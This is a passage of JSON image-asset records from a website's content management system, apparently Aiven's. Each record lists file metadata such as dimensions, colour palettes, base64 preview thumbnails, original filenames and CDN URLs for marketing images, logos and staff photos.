a///AAD//wC5//8A2sz+BM3Y9ibE1PFWydXvaNnZ5mrd2N9h3NrqNazL6Qweo5EmI6aUVB6lkjURoo0GHqWSABWjjwC8y/8AADD/xABR/9YAOf/LAET/xQAu8r0Aja3rAbrB9gXN0voJz9X8C8jT/gvCz/8Kvcf8BoWh2QIRfYAIEYCAEQ+EgQoKjYQBDYqDAAuKggBhbcEALTONAB4dhNkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3a4f","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#581206","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#df7e1a","foreground":"#fff","population":1.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b5b6cf","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3ab60","foreground":"#000","population":0.63,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4646c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df7e1a","foreground":"#fff","population":1.73,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven-AWS_infographic_1200x628.png","path":"images/sczeoy4w/production/c9c875723934f5d88f8a8933df566b6e11cf641b-5000x2617.png","sha1hash":"c9c875723934f5d88f8a8933df566b6e11cf641b","size":376042,"uploadId":"JMnmLd4jHnYNLyQ5m1AE41yos4zYCKR1","url":"https://cdn.sanity.io/images/sczeoy4w/production/c9c875723934f5d88f8a8933df566b6e11cf641b-5000x2617.png"} {"_createdAt":"2022-06-30T20:11:05Z","_id":"image-c9dbe4667305d0eecbe1eb018ef37604d57ea622-1492x794-png","_rev":"CK1sLU2mnwa3vmbYWEeMGy","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:00Z","assetId":"c9dbe4667305d0eecbe1eb018ef37604d57ea622","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDRMi2~U~RE8Ib4oj[t6axRkR2R:E6-joa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8790931989924433,"height":794,"width":1492},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABs0lEQVQokX2Sa2/aMBSG+f8/Z1XZJu3rxpYAI0BLKB3dWgYNobnZsZ0LPJWdobWbVEuPTnJsv3rPOe7dra64WV0TLkPC8CVLrhY3DCYrPnkhn/0pnj/mmzdmNA6Yzq6ZzRcuToI5k2BGMJ3TM1qhtUKp12ilyIViuZX465zV/Z6HzZbNZsdjdOApyUlSQZIW7OOExyh2sccbqz2eiPKGcKNY3hfcPuSOu9+CXSzJhaHUNbKsENJQqpre6XTiTNu2jr//R6K0ZrBQXPolfV9y6UneDyXfV5JDohCyIhMVuayRZ8Hj8Uhd15Rl6aiqyuWs4D5tGISG/lDTHyoXP4w0wQ/FIbVt0aRFJ1iqphM0xpBlGXEcO+y3zTVNyz6t+bpQ9H3BpdfxcSSZ3AqigyDJJGlhKMqaUjf0rBN7uSgKJ2QRQrwQbPiyqLjwDRee4Z1n6I8MwdpwSLXr438Ou/K6/p05lyxUy+6p4VfU8jNqWO8q1lvNNrbldoOwvZOqQVmHb065te67g9pYaqRUZFlBkubkhaRUldtXuna8mvK/WEF7WNj+OAc22ieiHbI0f3L26RjHMwZi9kk1E3XQAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#556e30","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2868a8","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0e7eeb","foreground":"#fff","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acd4d4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64ccfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5772a8","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e7eeb","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c9dbe4667305d0eecbe1eb018ef37604d57ea622-1492x794.png","path":"images/sczeoy4w/production/c9dbe4667305d0eecbe1eb018ef37604d57ea622-1492x794.png","sha1hash":"c9dbe4667305d0eecbe1eb018ef37604d57ea622","size":155106,"uploadId":"uvut2VPvTRsW7Y29ay27S4UVk7UuChp7","url":"https://cdn.sanity.io/images/sczeoy4w/production/c9dbe4667305d0eecbe1eb018ef37604d57ea622-1492x794.png"} {"_createdAt":"2022-10-25T13:56:26Z","_id":"image-ca0ec25d1624e96f1e00a2c63d9f4e895d210a53-718x270-png","_rev":"W78nexzvCoIeJ1nQtOlFoE","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T13:56:26Z","assetId":"ca0ec25d1624e96f1e00a2c63d9f4e895d210a53","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D6RygA00^+WBtRQ7Ef%gM{aK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6592592592592594,"height":270,"width":718},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABLUlEQVQYlT2P266EIBRD/f8fHJUIyN1RFBEFvODJ4JxZaXb60rS7kFIqpbqMUkoI0ff9tm0xxhBCzIRMjHHf9+M4Ukp3pmCMPXkhBGOMcy6lHDJSSiGEzHRdN02TtXZd1/M8n3yBEKKUCiEopRhjSikhpG1bhFBd16/XqyzLuq4hhF3XGWOcc7/yAgCAMeacE0IQQm3bYvQFAFCWZVVVAIAW4/7dO+diCNd1fWdXdd00Dc5VEEKIEMxbpJT8/xHOeZ79qfXen+d5P80EQgohQ4g2H/P4jrHx/TbDMA2D0c/VizF2mtZ5Pry/j+M+z2LlfOXMMboQspB2IcRRuikVtN6N2e28z18d1j43WXuva/K+SOOYRp20Tnq4hiytk3PJ+xRCivGn+zH7/pgjhD+77bw37WOa4wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34242c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e2826","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#df9ca0","foreground":"#000","population":1.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2b4b3","foreground":"#000","population":1.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df9ca0","foreground":"#000","population":1.98,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b7379","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ca7f7c","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ca0ec25d1624e96f1e00a2c63d9f4e895d210a53-718x270.png","path":"images/sczeoy4w/production/ca0ec25d1624e96f1e00a2c63d9f4e895d210a53-718x270.png","sha1hash":"ca0ec25d1624e96f1e00a2c63d9f4e895d210a53","size":18009,"uploadId":"Z8yChn5MlbyfeQYEfwDEfAPp5dk1oxY4","url":"https://cdn.sanity.io/images/sczeoy4w/production/ca0ec25d1624e96f1e00a2c63d9f4e895d210a53-718x270.png"} {"_createdAt":"2024-03-13T11:57:46Z","_id":"image-ca23a4d27e6e6c008598167f55e0da520b7c419a-1200x628-png","_rev":"2QvLnXP36WAnQ13A3nhgbK","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T11:57:46Z","assetId":"ca23a4d27e6e6c008598167f55e0da520b7c419a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD9sv20]}SAKv};GB@+@EzxGn3NenMXAs;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACyElEQVQokR3Q209TBwCA8fMXzA3taenl9HLantKe05YeSqFWW1opLci4iRVtBbu2FpYCYmgUJEhBcFviLskecD4Qo1ncZoJZgrtgFrNhFqOJL9u/8y3z4Xv9PXzCB+I4x4wTfGia5CPzFG2WEsetVzBIVUT7LEZnA5O8hNndxOJZweJdw6psEFZvUu0u8W2yj1+yKq/zLn7LaghG+wWUYIVgdA5/5P8aBLuvo0WX8etNtO5Vwr236Ty5hRbbwqW1sPpaaOotStEy95ID7PdHeJXz8DLnQ3Ao05zuXyY/skY6v0r/0DpnJ3YYGNkhcaZFLLlBLLVFb/oz9FN38YQ2sflaBAK3KHRV2Uqc5ftMjMNsgINsCMHqLtKTXCSTv0lqYIUzQ+vkRu6QHtwkEl9FVpdx+Ju41FVc6jpSxwa2jk2CoQ0K8SXWMtPczw3zJJ9hNzuMIEoX8IUqdPY00OOL6PHrqF3XkNUFrN759w9F5zXaPSvvIXvgc5zaF0Tj31CceMCNmQdsz3zFTvEuzcI9BIOtgBwoE9Bn0aINAvo8Tv8cRsdVTkh1REeDdncTyX8HOfw1Xn0Xpes+enKPwvTvLN14x1LzLXONI2ZqLxHazOcwOy8ieS5jV8pI3ipmuYZor2GQ6hid81iVNeTwl/ii3+HveYi/9zGhxCOGpn6l3vyH+vK/lD59w/nKK4Q24xiSZRyXfAmH8glWdxWrXMHmrmGR61jcC8jBFuHELtH0YyJ9PxA6/RN63xMGC88pz79hpvGWyfKffHzpBcJx4yiybYwOpYhHrWH3XcXhreLy1bB7Z7F5F1Ai23Sn90jknxLL7qOnn3Fy8GdGS4eUZv+mUDli+OIh2YkDhGPiGCdM44iW8xhsRQy2aUTpCiZHFZOjTru8iFPbRo3v0Zn6kc7UPnrmgL7RF0yW/2KqdsTY5T/ITT4nNfyM/wB+24GOXfbiVAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c457a","foreground":"#fff","population":1.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c84","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4c35","foreground":"#fff","population":8.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1e277a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f88df","foreground":"#fff","population":1.42,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#724767","foreground":"#fff","population":5.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4c35","foreground":"#fff","population":8.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Berlin Tech Connect (1).png","path":"images/sczeoy4w/production/ca23a4d27e6e6c008598167f55e0da520b7c419a-1200x628.png","sha1hash":"ca23a4d27e6e6c008598167f55e0da520b7c419a","size":269516,"uploadId":"xXZp7SGb24X1aluKTS8okCfpT438dYsP","url":"https://cdn.sanity.io/images/sczeoy4w/production/ca23a4d27e6e6c008598167f55e0da520b7c419a-1200x628.png"} {"_createdAt":"2022-11-23T08:09:15Z","_id":"image-ca4d57c76618ec0ccd31c15178405a9c3aa51d67-1567x844-jpg","_rev":"PJutSls1mvFq6xuKwdWFvd","_type":"sanity.imageAsset","_updatedAt":"2022-11-23T08:09:46Z","altText":null,"assetId":"ca4d57c76618ec0ccd31c15178405a9c3aa51d67","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQQ++.cucamPtltSRij=t8WUGvm+rVX.jF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAQj/xAAhEAACAQQCAgMAAAAAAAAAAAABAgMABAUREiEiMTJBYf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAGxEAAgIDAQAAAAAAAAAAAAAAAQIAAwQREiH/2gAMAwEAAhEDEQA/AOiGtFLcucu/fyqYyeUyFreTQ2ikJEvIl+yxqrh9Od/dIc/3fWu9eTd/tT5ldtigVNyY+NYlbE2L1HOLna5x8E0gKu67INFZG7BAAdACiqU2FAb0wH0WJA0J/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3036","foreground":"#fff","population":1.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#814003","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97e0a","foreground":"#fff","population":6.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5484","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647c9c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97e0a","foreground":"#fff","population":6.97,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Faster-higher-stronger_blog.jpg","path":"images/sczeoy4w/production/ca4d57c76618ec0ccd31c15178405a9c3aa51d67-1567x844.jpg","sha1hash":"ca4d57c76618ec0ccd31c15178405a9c3aa51d67","size":277622,"title":"Faster, higher, stronger [a rocket taking off]","uploadId":"R0MXOhHfVa9zeG2npq7724sGdjkjRLh0","url":"https://cdn.sanity.io/images/sczeoy4w/production/ca4d57c76618ec0ccd31c15178405a9c3aa51d67-1567x844.jpg"} {"_createdAt":"2022-06-16T22:54:03Z","_id":"image-ca73b84dc30f92002ae559376ff0bdddb1a21ebe-99x26-png","_rev":"oamrAPLmQLQjd9jh7ZoGUQ","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:03Z","assetId":"ca73b84dc30f92002ae559376ff0bdddb1a21ebe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8ED3VMeXQMdbZ008__N8{yC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.8076923076923075,"height":26,"width":99},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABi0lEQVQYlRXMXWvTUBgA4KypXs2LXXhpPk/boHYfKkMlb855k2VdTs45SXDd1pjBujar0E1svVFBUJiI1+KN+y3irYgI7sL9nIrPD3i06sVrDctaj6qT6/7u0fKjvLpB94+vhdWJvjOcNnaGpzodjJvBwaiZTWaN8av3S9HhRKdlrXejvPH07Xnz868ft77+/bN5cXVpay7Kmw4Tdwkqv72VJ+0oiztRfp+gWndRrttMPDSDlFpB+rgdZat3ek+8zlbebUdZl6DsdOJiY3D+qffx+zdxcXXpaQZwMIEfmsBnNhVvbCrmDpNjm4qRAfzMAD43IJkbfnJmAp+6KKcE1YiEqu8yuWcF6fFaUQ377z74X37/XPkfogn8yAA+c5g8dVFOXCZrm6bPTODPHZR1K8xKh4nSCvjUYeIlQTUhodp3mCxN4LUJ/MAKUuIFYkkjqEzDT3qGn+y2wgxvxwW0UPWsgCuCClf53oN7crDWTfobXlyAFxeMoNx2qNh2mQALOLeA+wTlymKx0P4B35pvoEZG3wMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#243f44","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#143c3c","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a1c2bf","foreground":"#000","population":0.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1c2bf","foreground":"#000","population":0.62,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdddd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#648c84","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster_partners_Atomico.png","path":"images/sczeoy4w/production/ca73b84dc30f92002ae559376ff0bdddb1a21ebe-99x26.png","sha1hash":"ca73b84dc30f92002ae559376ff0bdddb1a21ebe","size":4221,"uploadId":"LQlmApcIPaZdHWDPn76LWwltkfvs1Snx","url":"https://cdn.sanity.io/images/sczeoy4w/production/ca73b84dc30f92002ae559376ff0bdddb1a21ebe-99x26.png"} {"_createdAt":"2023-01-25T12:13:18Z","_id":"image-cab5e7ee4211b8131e6aedc98589c9c1d938aec2-512x512-png","_rev":"uc5XaHa91eGJt7sy2MSyp5","_type":"sanity.imageAsset","_updatedAt":"2023-01-25T12:13:38Z","altText":null,"assetId":"cab5e7ee4211b8131e6aedc98589c9c1d938aec2","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"efKm|Ss8?uxuxY~VM|WqRjWEIps:RPofj?xukBs:aeRjt6RkWBoJWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEgElEQVQ4jT3S+VOSCRwGcH53Z9u2ZifWXKodSyKF8E5NyzK18rYUW6XWY0YrtdU86TUtFF8BxSvUQKNU4r7FA+TmRRBeJIE0aCv7O3Yw3T/gM8/zfOeLcOmFsEHkNks8kNxrX/I51C6zTKeaVwvZa1KOZVUAW1V+WPtp2xjwmoN+6N+Ptm+79u8B5/cgjNjHYrdZ6oEUHkhp0/JlXObcBOUtc0g8P6Xgs1XCWb2a67apdz+Ygr4Q/rqzsffJsRdwHmKLzAMpIA1fyhmdpffMUXukLIZGwJHPT3MmQQ5zaFkyt2VfCXgtn/3Ql/3wvU8OhEsvgg3iLasctsg0whn+yHMJDdDNUN2StzsauV22wGNSJ0HgzSvQuMLf8Rh/NP+6s/Ft136APVY5bJZqFiekYNcKlWSbofrFb75qZbsromXOxOTgswkQUAlYXqcm6Ld+PvB2BPw/NknW58el/W1K8lPD2Ev3InNXueBXzK/OjY697KD1tQnfjrtt6oDXEvRZP3+0ffm4gYD1Ytgo8VgVLoNoeZbGBRq5XQ3C3mYZlbTKHDTNjaxMg696Wyidj7hToMskD2ybQ3h/+SGGFE69kDf+YqieQKstHaouflZ5+0XtHU7vk7UpCo9KYrTX80f7YIMksG0K+Kyh5f5D/AFSuM1SHrO/p7oUrLs79qgCqMjtu1/IJbdCnFE9iyoCuzRsuteiCHpNAZ/lALsOa2/blFo+k0V6+L73yRId4AGNYvJT2+wwzJs2zdLXmANW/msvtBTYNgZ9B80RLp0INki2rKH3si+9kwx1vgcaRf1tgufNSkoHxKZDHIZsGFigdCjnGA6dZGdLF/CafpwN4dQJXXrxljmEHSuLC/0t5PsFfcS8wZoSxkPCO+Axt791tLWa3PSAOdSjVSz4XJp9HApHbK4LnHqR2yT1bqg2VrlTvU1NRVce519uKb3eVJzZejerlZDTcu9Wdz2xr5v0hsUyr8v9bl3wR7JDK9jUCV1GyQeb0rEumKa01xVercxOqbqZXpwRfzPxQmEqrplwm9rd3t5BbWqjgSBNJZ33ODR+twHh0PI314UuQ+hmNq1gYrCr5EZaGg6dgkMnR5+9gou6l5U80FTNIFMb/pnM/6svv7SmteXJ7MyoYJF9gJ16sUnNZU9SaqrKEvEXz55C4c+dyU2KeZCTAvxdwiB1dHYMl9Uxskq7k9KLMjKzCYSK2ppahEPDd2gFOhlnZKC74OaN8+gLp8+cP42KzMDH1BdkkqryKI3Vz54+J9bT84n0a0XtcZduxSakpVzOzLiaHcJG1btxEMi9loE8gTx2/HfkyXPhEVGxmAvlWWn1JTm15eV3Cc35lQN5RFpmQQs+KRuLT8LHpyYkpyPsa3wee7iqrBB1MuKnsJ9/+RWJjMCEo7B/oNCYs+g4bCwWewmDu558vS7rTs/l3IZo/JUoDD4al4CPT0VAy9wRcmdKQtzRI0fDwo4cO45C/Rl/KjIxHIVFhqOREZjfwtHHT0SeQacnXqtJvEqMik6JjMJiYuJjLib9B8p4sGUTcMoIAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f3e35","foreground":"#fff","population":3.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b3e28","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4c3b2","foreground":"#000","population":8.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c3b2","foreground":"#000","population":8.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5b0a0","foreground":"#000","population":3.92,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa8070","foreground":"#fff","population":5.8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cfac93","foreground":"#000","population":0.36,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"ryan.png","path":"images/sczeoy4w/production/cab5e7ee4211b8131e6aedc98589c9c1d938aec2-512x512.png","sha1hash":"cab5e7ee4211b8131e6aedc98589c9c1d938aec2","size":350607,"title":"Ryan O'Connor, Solution Architect, Pre-Sales at Aiven","uploadId":"hCQ8HAJgrRflEe05lrHy2Bcxfo8JgBrV","url":"https://cdn.sanity.io/images/sczeoy4w/production/cab5e7ee4211b8131e6aedc98589c9c1d938aec2-512x512.png"} {"_createdAt":"2022-06-16T22:53:46Z","_id":"image-cad48156d27dd2fff67b3bf1aebbe8cba826e1d0-153x19-svg","_rev":"qkpX9b3U0TpOGFQp8fNtQR","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:46Z","assetId":"cad48156d27dd2fff67b3bf1aebbe8cba826e1d0","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4B0.@5pfpLpMp1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":8.052631578947368,"height":19,"width":153},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAhklEQVQImS2MTwoBcQBGX66hZLK0cgEXUPJNNiYiZGEhC6Jp/AkbWw7iIN/kLDZCNkq/xVu93qOUPpPK/juKNu8qcV5DHiNPAy3kOnIHuRfcJLgEWcgD5CHyHPlMcfm4RNvPtZy9GoX2vYl8IM4XIe4i95F3yCnyCnmNnIXBDPmEfPzP5NsP72k/tD45ba4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1e1f44","foreground":"#fff","population":0.79,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04648c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2486f6","foreground":"#fff","population":2.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#064792","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2486f6","foreground":"#fff","population":2.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#405078","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1259e9","foreground":"#fff","population":1.34,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"atlassian.svg","path":"images/sczeoy4w/production/cad48156d27dd2fff67b3bf1aebbe8cba826e1d0-153x19.svg","sha1hash":"cad48156d27dd2fff67b3bf1aebbe8cba826e1d0","size":3975,"uploadId":"EdEM31IneSWcyfuIhzfDL5fvq0wr02Oz","url":"https://cdn.sanity.io/images/sczeoy4w/production/cad48156d27dd2fff67b3bf1aebbe8cba826e1d0-153x19.svg"} {"_createdAt":"2022-10-13T16:51:31Z","_id":"image-cb007fc5ed33cf8579f754f260fe9ef5a34fdbdc-512x512-jpg","_rev":"xBoRg99AeKZAyuJwPxBmCv","_type":"sanity.imageAsset","_updatedAt":"2022-10-13T16:51:31Z","assetId":"cb007fc5ed33cf8579f754f260fe9ef5a34fdbdc","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e,N0rExu?^ofxF?bRjxubHWBD%axV@t7ofxuoft7ayWBbbRjoJj[Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAcEBQgG/8QAKBAAAQQBAgQGAwAAAAAAAAAAAQACAwQFBhEHEhNBFCEiMUJhUXGB/8QAFgEBAQEAAAAAAAAAAAAAAAAABAEC/8QAGxEAAgMAAwAAAAAAAAAAAAAAAAEDERICEyH/2gAMAwEAAhEDEQA/ALHxrqeMwdKOV8nhDYHWjZ8x+FN8DRrYDWWIs4OCSBjpBHMezmnsVXOJ17H19PSi5dhrzM9cYc7zJHbZRCPVdbFX6V6aKV9NkrXv5z7/AKCPJraodB1uLlpenUIO4BReTxfEHTORpR2YcrWa13xe7lI/iJAE5I1rlruTz9ye7YfI/rEDc+QG/sAtJlr9m3PvYlc8N9Ib2AH0iLdKyJuqMF8jgdmuIH0iIqQ//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#473d3d","foreground":"#fff","population":3.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#845434","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a67060","foreground":"#fff","population":6.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#debeb7","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eca290","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a67060","foreground":"#fff","population":6.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c47c5c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"markos-sfikas.jpeg","path":"images/sczeoy4w/production/cb007fc5ed33cf8579f754f260fe9ef5a34fdbdc-512x512.jpg","sha1hash":"cb007fc5ed33cf8579f754f260fe9ef5a34fdbdc","size":58894,"uploadId":"qQM2RUh16lqmrFPVMQ2FEOVSCq87dTmH","url":"https://cdn.sanity.io/images/sczeoy4w/production/cb007fc5ed33cf8579f754f260fe9ef5a34fdbdc-512x512.jpg"} 